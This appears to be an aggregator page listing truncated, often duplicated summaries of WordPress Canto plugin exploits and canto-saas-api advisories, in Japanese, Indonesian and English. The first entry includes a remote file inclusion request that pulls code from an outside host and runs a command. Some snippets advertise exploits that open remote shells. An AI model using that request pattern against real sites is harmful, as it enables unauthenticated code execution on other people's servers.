CVE-2023-3452-PoC

CVE-2023-3452-PoC - WordpressプラグインCanto を記述すると、リモートでコードを実行できます。 http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami...

Canto <= 3.1.1 - Missing Authorization to Unauthenticated File Upload

The Canto plugin for WordPress is vulnerable to missing authorization in the copy-media.php upload flow. The file is directly accessible and accepts attacker-controlled parameters for the upload destination, allowing unauthenticated users to upload arbitrary files constrained to WordPress-allowed...

WordPress Canto Plugin <= 3.0.4 - File Inclusion

Canto plugin for WordPress up to version 3.0.4 contains a remote file inclusion caused by the 'wpabspath' parameter, letting unauthenticated attackers include and execute arbitrary remote code if allowurlinclude is enabled, exploit requires allowurlinclude to be enabled. id: CVE-2023-3452 info:...

WordPress Canto 1.3.0 - Blind Server-Side Request Forgery

WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative...

Metasploit-Wordpress-Canto-Exploit-RCE

Metersploit exploit module canto RCE CVE-2024-25096 & CVE-2023-3452 このエクスプロイトは、RFI脆弱性CVE-2024-25096およびCVE-2023-3452のproof-of-workエクスプロイトであり、攻撃者がターゲット上に対話型リモートシェルセッションを確立することを可能にします。 CVE-2024-25096は、abspathパラメータを悪用し、includeonce文を介してリモートファイルインクルージョンを許可します。...

CVE-2023-3452---WordPress-Canto-Plugin-RCE

CVE-2023-3452 - WordPress CantoプラグインRCE WordPress Cantoプラグイン≤ 3.0.4のRFI脆弱性のエクスプロイト。HTTPSでも実際に動作します — 他の公開PoCはSSLで諦めていました。 クレジットは当然: このCVEは他の人が発見しました。私はHTTPSターゲットで壊れないバージョンを作っただけです。 脆弱性 | ---|--- CVE| CVE-2023-3452 EDB-ID| 51826 タイプ| リモートファイルインクルードRFI→未認証RCE 影響を受けるバージョン| WordPress Cantoプラグイン -l -p...

Exploit-Machine

Analisis Kerentanan — Canto HackMyVM Breakdown alur exploit...

CVE-2026-55375

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams places appid, appsecret, refreshtoken, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credential...

CVE-2026-55374

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl joins values returned by Request::getPathVariables without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When ...

CVE-2026-55374 canto-saas-api: Authenticated API requests can be redirected via unencoded path variables

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl joins values returned by Request::getPathVariables without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When ...

EUVD-2026-78905

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl joins values returned by Request::getPathVariables without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When ...

CVE-2026-55374

canto-saas-api is a PHP library for interacting with the Canto SaaS API . In versions prior to 3.0.0 , Request::buildRequestUrl() joins path variable values without URL-encoding each segment. An attacker who controls a path variable value (e.g., scheme or contentId) through a consuming applicatio...

CVE-2026-55374 canto-saas-api: Authenticated API requests can be redirected via unencoded path variables

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl joins values returned by Request::getPathVariables without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When ...

CVE-2026-55374 canto-saas-api: Authenticated API requests can be redirected via unencoded path variables

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, Request::buildRequestUrl joins values returned by Request::getPathVariables without encoding individual path segments, including the scheme and contentId values used by GetContentDetailsRequest. When ...

CVE-2026-55375 canto-saas-api: OAuth credentials exposed in URL query string and exception messages

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams places appid, appsecret, refreshtoken, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credential...

CVE-2026-55375 canto-saas-api: OAuth credentials exposed in URL query string and exception messages

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams places appid, appsecret, refreshtoken, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credential...

CVE-2026-55375

canto-saas-api (PHP library for the Canto SaaS API) prior to 3.0.0 sends OAuth credentials (app_id, app_secret, refresh_token, code) in the URL query string of token POST requests rather than the request body. Because request URLs are commonly recorded in access logs, proxy logs, and APM traces, ...

EUVD-2026-78902

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams places appid, appsecret, refreshtoken, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credential...

CVE-2026-55375 canto-saas-api: OAuth credentials exposed in URL query string and exception messages

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams places appid, appsecret, refreshtoken, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credential...

CVE-2026-55375: Generation of Error Message Containing Sensitive Information

canto-saas-api is a PHP library for interacting with the Canto SaaS API. Prior to version 3.0.0, OAuth2Request::getQueryParams places appid, appsecret, refreshtoken, and code in the URL query string of token POST requests, allowing access logs, proxy logs, and APM traces to persist the credential...